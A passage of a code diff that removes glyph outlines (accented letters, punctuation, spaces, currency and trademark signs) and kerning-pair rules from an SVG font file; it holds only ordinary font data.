-                d="M207 710q22 0 37.5 -15t15.5 -38t-15.5 -38t-37.5 -15q-23 0 -38.5 15t-15.5 38t15.5 38t38.5 15zM402 710q23 0 39 -15t16 -38t-16 -38t-39 -15q-21 0 -36.5 15t-15.5 38t15.5 38t36.5 15zM303 513q108 0 184.5 -78t76.5 -186q0 -109 -76.5 -186.5t-184.5 -77.5 q-109 0 -185 77t-76 187q0 108 76.5 186t184.5 78zM303 455q-85 0 -140.5 -59.5t-55.5 -146.5t55.5 -146.5t140.5 -59.5t140.5 59.5t55.5 146.5t-55.5 146.5t-140.5 59.5z"
-            />
-<glyph
-                unicode="&#xf7;"
-                horiz-adv-x="516"
-                d="M260 470q20 0 35 -15.5t15 -35.5q0 -19 -15 -33.5t-35 -14.5q-21 0 -35 14t-14 34q0 21 14 36t35 15zM452 259h-405v50h405v-50zM260 191q20 0 35 -15.5t15 -35.5q0 -19 -15 -33.5t-35 -14.5q-21 0 -35 14t-14 34q0 21 14 36t35 15z"
-            />
-<glyph
-                unicode="&#xf8;"
-                horiz-adv-x="606"
-                d="M500 525l-38 -67q47 -37 74.5 -91.5t27.5 -117.5q0 -109 -76.5 -186.5t-184.5 -77.5q-53 0 -101 20l-41 -71l-46 30l39 68q-52 36 -82 93t-30 124q0 108 76.5 186t184.5 78q61 0 113 -26l38 65zM107 249q0 -107 77 -166l203 354q-41 18 -84 18q-85 0 -140.5 -59.5 t-55.5 -146.5zM303 43q85 0 140.5 59.5t55.5 146.5q0 97 -67 158l-201 -351q36 -13 72 -13z"
-            />
-<glyph
-                unicode="&#xf9;"
-                horiz-adv-x="620"
-                d="M369 570h-17l-204 155h116zM508 53l77 -42v-11h-131l-5 65q-22 -34 -65 -57.5t-96 -23.5q-88 0 -138.5 54t-50.5 159v247l-77 42v11h138v-305q0 -75 40.5 -115.5t102.5 -40.5q68 0 105.5 39.5t37.5 116.5v252l-77 42v11h140z"
-            />
-<glyph
-                unicode="&#xfa;"
-                horiz-adv-x="620"
-                d="M466 725l-204 -155h-17l105 155h116zM508 53l77 -42v-11h-131l-5 65q-22 -34 -65 -57.5t-96 -23.5q-88 0 -138.5 54t-50.5 159v247l-77 42v11h138v-305q0 -75 40.5 -115.5t102.5 -40.5q68 0 105.5 39.5t37.5 116.5v252l-77 42v11h140z"
-            />
-<glyph
-                unicode="&#xfb;"
-                horiz-adv-x="620"
-                d="M303 637l-140 -76l-15 10l155 143l157 -143l-17 -10zM508 53l77 -42v-11h-131l-5 65q-22 -34 -65 -57.5t-96 -23.5q-88 0 -138.5 54t-50.5 159v247l-77 42v11h138v-305q0 -75 40.5 -115.5t102.5 -40.5q68 0 105.5 39.5t37.5 116.5v252l-77 42v11h140z"
-            />
-<glyph
-                unicode="&#xfc;"
-                horiz-adv-x="620"
-                d="M205 604q-23 0 -38.5 15t-15.5 38t15.5 38t38.5 15q22 0 37.5 -15t15.5 -38t-15.5 -38t-37.5 -15zM400 604q-21 0 -36.5 15t-15.5 38t15.5 38t36.5 15q23 0 39 -15t16 -38t-16 -38t-39 -15zM508 53l77 -42v-11h-131l-5 65q-22 -34 -65 -57.5t-96 -23.5q-88 0 -138.5 54 t-50.5 159v247l-77 42v11h138v-305q0 -75 40.5 -115.5t102.5 -40.5q68 0 105.5 39.5t37.5 116.5v252l-77 42v11h140z"
-            />
-<glyph
-                unicode="&#xfd;"
-                horiz-adv-x="612"
-                d="M269 570h-17l105 155h116zM607 497v-8l-67 -45l-281 -627l74 -40v-12h-241v12l99 40l81 156l18 44l-205 424l-80 48v8h231v-11l-73 -40l157 -357l148 358l-72 39v11h211z"
-            />
-<glyph
-                unicode="&#xfe;"
-                horiz-adv-x="663"
-                d="M365 513q108 0 182 -77.5t74 -187.5q0 -109 -74 -186t-182 -77q-113 0 -191 89v-256l77 -42v-11h-216v11l78 42h1v848l-78 44v9l138 26v-334q31 46 81.5 74t109.5 28zM365 43q85 0 138 59t53 147t-53 147t-138 59t-138 -59t-53 -147t53 -147t138 -59z"
-            />
-<glyph
-                unicode="&#xff;"
-                horiz-adv-x="612"
-                d="M212 604q-23 0 -38.5 15t-15.5 38t15.5 38t38.5 15q22 0 37.5 -15t15.5 -38t-15.5 -38t-37.5 -15zM407 604q-21 0 -36.5 15t-15.5 38t15.5 38t36.5 15q23 0 39 -15t16 -38t-16 -38t-39 -15zM607 497v-8l-67 -45l-281 -627l74 -40v-12h-241v12l99 40l81 156l18 44 l-205 424l-80 48v8h231v-11l-73 -40l157 -357l148 358l-72 39v11h211z"
-            />
-<glyph
-                unicode="&#x152;"
-                horiz-adv-x="948"
-                d="M863 159h10v-159h-475q-158 0 -257.5 95t-99.5 245q0 152 99 246.5t258 94.5h108v-1h356v-119h-10l-51 65h-256v-249h220l43 47h8v-150h-8l-43 47h-220v-267h261zM398 54h84v572h-84q-127 0 -204 -78t-77 -208q0 -128 77.5 -207t203.5 -79z"
-            />
-<glyph
-                unicode="&#x153;"
-                horiz-adv-x="1036"
-                d="M984 232h-420q0 -79 57.5 -134t135.5 -55q115 0 172 68l11 -2v-71q-74 -53 -186 -53q-68 0 -128.5 37t-93.5 100q-34 -62 -95 -99.5t-134 -37.5q-109 0 -185 77t-76 187q0 108 76.5 186t184.5 78q73 0 134 -37.5t95 -100.5q32 63 91 100.5t128 37.5q103 0 168 -72 t65 -195v-14zM303 43q85 0 140.5 59.5t55.5 146.5t-55.5 146.5t-140.5 59.5t-140.5 -59.5t-55.5 -146.5t55.5 -146.5t140.5 -59.5zM563 286h352q0 74 -43.5 121.5t-121.5 47.5q-76 0 -131.5 -54t-55.5 -115z"
-            />
-<glyph
-                unicode="&#x178;"
-                horiz-adv-x="705"
-                d="M256 784q-23 0 -38.5 15t-15.5 38t15.5 38t38.5 15q22 0 37.5 -15t15.5 -38t-15.5 -38t-37.5 -15zM451 784q-21 0 -36.5 15t-15.5 38t15.5 38t36.5 15q23 0 39 -15t16 -38t-16 -38t-39 -15zM680 680v-11l-64 -39l-227 -359v-210l89 -50v-11h-242v11l90 50v209l-220 347 l-81 52v11h217v-11l-67 -37l187 -301l178 304l-63 34v11h203zM357 220l-2 -3l3 2z"
-            />
-<glyph unicode="&#x2c6;" horiz-adv-x="396" d="M354 588l-17 -10l-140 76l-140 -76l-15 10l155 143z" />
-<glyph
-                unicode="&#x2dc;"
-                horiz-adv-x="387"
-                d="M332 699h13q0 -49 -24.5 -72t-59.5 -23q-28 0 -83 24t-76 24q-36 0 -47 -46h-13q-1 47 24.5 71t59.5 24q28 0 83 -24t76 -24q18 0 30.5 13t16.5 33z"
-            />
-<glyph unicode="&#x2000;" horiz-adv-x="470" />
-<glyph unicode="&#x2001;" horiz-adv-x="940" />
-<glyph unicode="&#x2002;" horiz-adv-x="470" />
-<glyph unicode="&#x2003;" horiz-adv-x="940" />
-<glyph unicode="&#x2004;" horiz-adv-x="313" />
-<glyph unicode="&#x2005;" horiz-adv-x="235" />
-<glyph unicode="&#x2006;" horiz-adv-x="156" />
-<glyph unicode="&#x2007;" horiz-adv-x="156" />
-<glyph unicode="&#x2008;" horiz-adv-x="117" />
-<glyph unicode="&#x2009;" horiz-adv-x="188" />
-<glyph unicode="&#x200a;" horiz-adv-x="52" />
-<glyph unicode="&#x2010;" horiz-adv-x="365" d="M320 260h-275v54h275v-54z" />
-<glyph unicode="&#x2011;" horiz-adv-x="365" d="M320 260h-275v54h275v-54z" />
-<glyph unicode="&#x2012;" horiz-adv-x="365" d="M320 260h-275v54h275v-54z" />
-<glyph unicode="&#x2013;" horiz-adv-x="573" d="M528 260h-483v54h483v-54z" />
-<glyph unicode="&#x2014;" horiz-adv-x="778" d="M733 260h-688v54h688v-54z" />
-<glyph unicode="&#x2018;" horiz-adv-x="222" d="M125 482h-92q0 54 35.5 120t87.5 109h41q-38 -44 -56 -107t-16 -122z" />
-<glyph unicode="&#x2019;" horiz-adv-x="222" d="M97 660h92q0 -54 -35.5 -120t-87.5 -109h-41q38 44 56 107t16 122z" />
-<glyph unicode="&#x201a;" horiz-adv-x="222" d="M97 84h92q0 -54 -35.5 -120t-87.5 -109h-41q38 44 56 107t16 122z" />
-<glyph
-                unicode="&#x201c;"
-                horiz-adv-x="356"
-                d="M135 482h-92q0 54 35.5 120t87.5 109h41q-38 -44 -56 -107t-16 -122zM309 482h-92q0 54 35.5 120t87.5 109h41q-38 -44 -56 -107t-16 -122z"
-            />
-<glyph
-                unicode="&#x201d;"
-                horiz-adv-x="356"
-                d="M47 660h92q0 -54 -35.5 -120t-87.5 -109h-41q38 44 56 107t16 122zM221 660h92q0 -54 -35.5 -120t-87.5 -109h-41q38 44 56 107t16 122z"
-            />
-<glyph
-                unicode="&#x201e;"
-                horiz-adv-x="374"
-                d="M97 84h92q0 -54 -35.5 -120t-87.5 -109h-41q38 44 56 107t16 122zM249 84h92q0 -54 -35.5 -120t-87.5 -109h-41q38 44 56 107t16 122z"
-            />
-<glyph unicode="&#x2022;" horiz-adv-x="209" d="M104 401q20 0 35 -15.5t15 -35.5q0 -19 -15 -33.5t-35 -14.5q-21 0 -35 14t-14 34q0 21 14 36t35 15z" />
-<glyph
-                unicode="&#x2026;"
-                horiz-adv-x="609"
-                d="M104 84q20 0 35 -15.5t15 -35.5q0 -19 -15 -33.5t-35 -14.5q-21 0 -35 14t-14 34q0 21 14 36t35 15zM304 84q20 0 35 -15.5t15 -35.5q0 -19 -15 -33.5t-35 -14.5q-21 0 -35 14t-14 34q0 21 14 36t35 15zM504 84q20 0 35 -15.5t15 -35.5q0 -19 -15 -33.5t-35 -14.5 q-21 0 -35 14t-14 34q0 21 14 36t35 15z"
-            />
-<glyph unicode="&#x202f;" horiz-adv-x="188" />
-<glyph unicode="&#x2039;" horiz-adv-x="321" d="M266 401l-142 -151l142 -151v-71l-211 222l211 222v-71z" />
-<glyph unicode="&#x203a;" horiz-adv-x="321" d="M266 250l-211 -222v71l142 151l-142 151v71z" />
-<glyph unicode="&#x205f;" horiz-adv-x="235" />
-<glyph
-                unicode="&#x20ac;"
-                d="M527 115v-68q-26 -21 -39.5 -30t-46 -20.5t-70.5 -11.5q-107 0 -174 74.5t-86 193.5h-101l10 50h85q-1 12 -1 37q0 24 1 36h-75l10 50h71q18 119 85.5 194t174.5 75q82 0 146 -51v-78h-12l-10.5 10.5t-10.5 11t-10 10t-11.5 9.5t-11.5 7.5t-13.5 7.5t-14 5.5t-17 5 t-19 2.5t-22.5 1q-73 0 -120.5 -58t-62.5 -152h268l-10 -50h-264q-1 -12 -1 -36q0 -25 1 -37h254l-10 -50h-238q16 -94 63 -151.5t120 -57.5q52 0 84.5 16.5t67.5 54.5h10z"
-            />
-<glyph
-                unicode="&#x2122;"
-                horiz-adv-x="621"
-                d="M272 635h-12l-36 24h-34v-161l33 -25v-10h-114v10l33 25v161h-34l-36 -24h-12v61h212v-61zM573 684l-36 -45l13 -141l31 -25v-10h-94v10l24 24l-10 98l-53 -66h-12l-52 66l-9 -98l24 -24v-10h-95v10l31 25l14 141l-37 45v12h53l78 -113l77 113h53v-12z"
-            />
-<glyph unicode="&#x25fc;" horiz-adv-x="495" d="M0 495h495v-495h-495v495z" />
-<hkern g1="r" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="10" />
-<hkern g1="r" g2="g" k="20" />
-<hkern g1="r" g2="comma,period,colon,semicolon,periodcentered,ellipsis" k="-11" />
-<hkern
-                g1="U,Ugrave,Uacute,Ucircumflex,Udieresis"
-                g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe"
-                k="30"
-            />
-<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" k="22" />
-<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" g2="m,n,r,ntilde" k="20" />
-<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" g2="comma,period,colon,semicolon,periodcentered,ellipsis" k="-5" />
-<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" g2="J" k="10" />
-<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" g2="S" k="20" />
-<hkern g1="j" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="10" />
-<hkern g1="j" g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" k="20" />
-<hkern g1="j" g2="j" k="28" />
-<hkern g1="M,trademark" g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" k="30" />
-<hkern g1="M,trademark" g2="Y,Yacute,Ydieresis" k="-8" />
-<hkern g1="M,trademark" g2="s" k="10" />
-<hkern g1="w" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="17" />
-<hkern g1="w" g2="comma,period,colon,semicolon,periodcentered,ellipsis" k="35" />
-<hkern g1="w" g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" k="-1" />
-<hkern g1="w" g2="b,h,k,l,germandbls,thorn" k="51" />
-<hkern
-                g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,OE"
-                g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe"
-                k="10"
-            />
-<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,OE" g2="g" k="20" />
-<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,OE" g2="s" k="10" />
-<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,OE" g2="z" k="10" />
-<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,OE" g2="t" k="10" />
-<hkern g1="Z" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="25" />
-<hkern g1="Z" g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" k="13" />
-<hkern g1="b,o,p,ograve,oacute,ocircumflex,otilde,odieresis,oslash,thorn" g2="y,yacute,ydieresis" k="17" />
-<hkern g1="b,o,p,ograve,oacute,ocircumflex,otilde,odieresis,oslash,thorn" g2="t" k="10" />
-<hkern g1="b,o,p,ograve,oacute,ocircumflex,otilde,odieresis,oslash,thorn" g2="w" k="17" />
-<hkern g1="b,o,p,ograve,oacute,ocircumflex,otilde,odieresis,oslash,thorn" g2="v" k="25" />
-<hkern g1="b,o,p,ograve,oacute,ocircumflex,otilde,odieresis,oslash,thorn" g2="x" k="50" />
-<hkern g1="R" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="20" />
-<hkern g1="R" g2="T,trademark" k="27" />
-<hkern g1="R" g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" k="6" />
-<hkern g1="R" g2="y,yacute,ydieresis" k="20" />
-<hkern g1="R" g2="u,ugrave,uacute,ucircumflex,udieresis" k="20" />
-<hkern g1="R" g2="Y,Yacute,Ydieresis" k="60" />
-<hkern g1="R" g2="w" k="10" />
-<hkern g1="R" g2="U,Ugrave,Uacute,Ucircumflex,Udieresis" k="27" />
-<hkern g1="R" g2="W" k="-5" />
-<hkern g1="R" g2="V" k="43" />
-<hkern g1="J" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="25" />
-<hkern g1="J" g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" k="30" />
-<hkern g1="J" g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" k="30" />
-<hkern g1="t" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="10" />
-<hkern g1="t" g2="quoteright,quotesinglbase,quotedblbase" k="20" />
-<hkern g1="t" g2="y,yacute,ydieresis" k="-3" />
-<hkern g1="t" g2="t" k="20" />
-<hkern g1="B" g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" k="30" />
-<hkern g1="B" g2="j" k="40" />
-<hkern g1="B" g2="b,h,k,l,germandbls,thorn" k="30" />
-<hkern g1="B" g2="z" k="30" />
-<hkern g1="B" g2="t" k="20" />
-<hkern g1="B" g2="v" k="10" />
-<hkern g1="B" g2="i,igrave,iacute,icircumflex,idieresis" k="20" />
-<hkern g1="W" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="54" />
-<hkern g1="W" g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" k="6" />
-<hkern g1="W" g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" k="75" />
-<hkern g1="W" g2="S" k="-11" />
-<hkern g1="W" g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" k="16" />
-<hkern g1="W" g2="u,ugrave,uacute,ucircumflex,udieresis" k="-11" />
-<hkern g1="d,l" g2="u,ugrave,uacute,ucircumflex,udieresis" k="10" />
-<hkern g1="d,l" g2="t" k="20" />
-<hkern g1="d,l" g2="v" k="10" />
-<hkern g1="D,O,Q,Eth,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" g2="T,trademark" k="30" />
-<hkern g1="D,O,Q,Eth,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" k="54" />
-<hkern g1="D,O,Q,Eth,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" k="10" />
-<hkern g1="D,O,Q,Eth,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" g2="u,ugrave,uacute,ucircumflex,udieresis" k="10" />
-<hkern g1="D,O,Q,Eth,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" g2="Y,Yacute,Ydieresis" k="60" />
-<hkern g1="D,O,Q,Eth,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" g2="U,Ugrave,Uacute,Ucircumflex,Udieresis" k="-5" />
-<hkern g1="D,O,Q,Eth,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" g2="W" k="14" />
-<hkern g1="D,O,Q,Eth,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" g2="V" k="4" />
-<hkern g1="D,O,Q,Eth,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" g2="X" k="27" />
-<hkern g1="D,O,Q,Eth,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" g2="Z" k="2" />
-<hkern g1="y,yacute,ydieresis" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="30" />
-<hkern g1="y,yacute,ydieresis" g2="g" k="38" />
-<hkern g1="y,yacute,ydieresis" g2="comma,period,colon,semicolon,periodcentered,ellipsis" k="-19" />
-<hkern g1="y,yacute,ydieresis" g2="s" k="-5" />
-<hkern g1="y,yacute,ydieresis" g2="b,h,k,l,germandbls,thorn" k="-3" />
-<hkern g1="G" g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" k="-5" />
-<hkern g1="G" g2="u,ugrave,uacute,ucircumflex,udieresis" k="20" />
-<hkern g1="G" g2="z" k="10" />
-<hkern g1="G" g2="W" k="24" />
-<hkern g1="q" g2="u,ugrave,uacute,ucircumflex,udieresis" k="30" />
-<hkern g1="T" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="60" />
-<hkern g1="T" g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" k="40" />
-<hkern g1="T" g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" k="60" />
-<hkern g1="T" g2="y,yacute,ydieresis" k="30" />
-<hkern g1="T" g2="m,n,r,ntilde" k="48" />
-<hkern g1="T" g2="comma,period,colon,semicolon,periodcentered,ellipsis" k="-8" />
-<hkern g1="T" g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" k="50" />
-<hkern g1="T" g2="u,ugrave,uacute,ucircumflex,udieresis" k="20" />
-<hkern g1="T" g2="Y,Yacute,Ydieresis" k="10" />
-<hkern g1="T" g2="s" k="50" />
-<hkern g1="L" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="10" />
-<hkern g1="L" g2="T,trademark" k="88" />
-<hkern g1="L" g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" k="13" />
-<hkern g1="L" g2="u,ugrave,uacute,ucircumflex,udieresis" k="40" />
-<hkern g1="L" g2="Y,Yacute,Ydieresis" k="42" />
-<hkern g1="L" g2="b,h,k,l,germandbls,thorn" k="20" />
-<hkern g1="L" g2="U,Ugrave,Uacute,Ucircumflex,Udieresis" k="46" />
-<hkern g1="L" g2="W" k="60" />
-<hkern g1="L" g2="V" k="113" />
-<hkern g1="L" g2="Z" k="10" />
-<hkern g1="v" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="10" />
-<hkern g1="v" g2="comma,period,colon,semicolon,periodcentered,ellipsis" k="-16" />
-<hkern g1="v" g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" k="20" />
-<hkern g1="Yacute,Ydieresis" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="111" />
-<hkern g1="Yacute,Ydieresis" g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" k="24" />
-<hkern g1="Yacute,Ydieresis" g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" k="115" />
-<hkern g1="Yacute,Ydieresis" g2="comma,period,colon,semicolon,periodcentered,ellipsis" k="88" />
-<hkern g1="Yacute,Ydieresis" g2="S" k="-8" />
-<hkern g1="Yacute,Ydieresis" g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" k="60" />
-<hkern g1="Yacute,Ydieresis" g2="p" k="30" />
-<hkern g1="Yacute,Ydieresis" g2="hyphen,endash,emdash" k="20" />
-<hkern g1="a,h,m,n,agrave,aacute,acircumflex,atilde,adieresis,aring,ntilde" g2="quoteright,quotesinglbase,quotedblbase" k="64" />
-<hkern g1="a,h,m,n,agrave,aacute,acircumflex,atilde,adieresis,aring,ntilde" g2="y,yacute,ydieresis" k="33" />
-<hkern g1="a,h,m,n,agrave,aacute,acircumflex,atilde,adieresis,aring,ntilde" g2="u,ugrave,uacute,ucircumflex,udieresis" k="20" />
-<hkern g1="a,h,m,n,agrave,aacute,acircumflex,atilde,adieresis,aring,ntilde" g2="j" k="38" />
-<hkern g1="a,h,m,n,agrave,aacute,acircumflex,atilde,adieresis,aring,ntilde" g2="t" k="20" />
-<hkern g1="a,h,m,n,agrave,aacute,acircumflex,atilde,adieresis,aring,ntilde" g2="w" k="-11" />
-<hkern g1="a,h,m,n,agrave,aacute,acircumflex,atilde,adieresis,aring,ntilde" g2="v" k="40" />
-<hkern g1="a,h,m,n,agrave,aacute,acircumflex,atilde,adieresis,aring,ntilde" g2="quotedbl,quotesingle" k="89" />
-<hkern g1="f" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="25" />
-<hkern g1="f" g2="b,h,k,l,germandbls,thorn" k="-24" />
-<hkern g1="f" g2="i,igrave,iacute,icircumflex,idieresis" k="-10" />
-<hkern g1="Y" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="80" />
-<hkern g1="Y" g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" k="95" />
-<hkern
-                g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring"
-                g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe"
-                k="50"
-            />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="T,trademark" k="100" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" k="37" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="y,yacute,ydieresis" k="70" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="m,n,r,ntilde" k="8" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="g" k="40" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="J" k="10" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="S" k="23" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="u,ugrave,uacute,ucircumflex,udieresis" k="50" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="Y,Yacute,Ydieresis" k="85" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="s" k="10" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="b,h,k,l,germandbls,thorn" k="10" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="z" k="30" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="t" k="40" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="w" k="70" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="v" k="95" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="U,Ugrave,Uacute,Ucircumflex,Udieresis" k="60" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="W" k="75" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="V" k="75" />
-<hkern g1="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring" g2="p" k="48" />
-<hkern g1="V" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="78" />
-<hkern g1="V" g2="T,trademark" k="-5" />
-<hkern g1="V" g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" k="4" />
-<hkern g1="V" g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" k="75" />
-<hkern g1="V" g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" k="50" />
-<hkern g1="k" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="27" />
-<hkern g1="k" g2="t" k="-5" />
-<hkern g1="x" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="50" />
-<hkern g1="F" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="6" />
-<hkern g1="F" g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" k="70" />
-<hkern g1="F" g2="J" k="90" />
-<hkern g1="F" g2="S" k="10" />
-<hkern g1="F" g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" k="50" />
-<hkern g1="F" g2="u,ugrave,uacute,ucircumflex,udieresis" k="30" />
-<hkern g1="S" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="10" />
-<hkern g1="S" g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" k="10" />
-<hkern g1="S" g2="m,n,r,ntilde" k="10" />
-<hkern g1="S" g2="Y,Yacute,Ydieresis" k="20" />
-<hkern g1="S" g2="t" k="40" />
-<hkern g1="S" g2="w" k="20" />
-<hkern g1="S" g2="v" k="20" />
-<hkern g1="S" g2="p" k="10" />
-<hkern g1="K" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="50" />
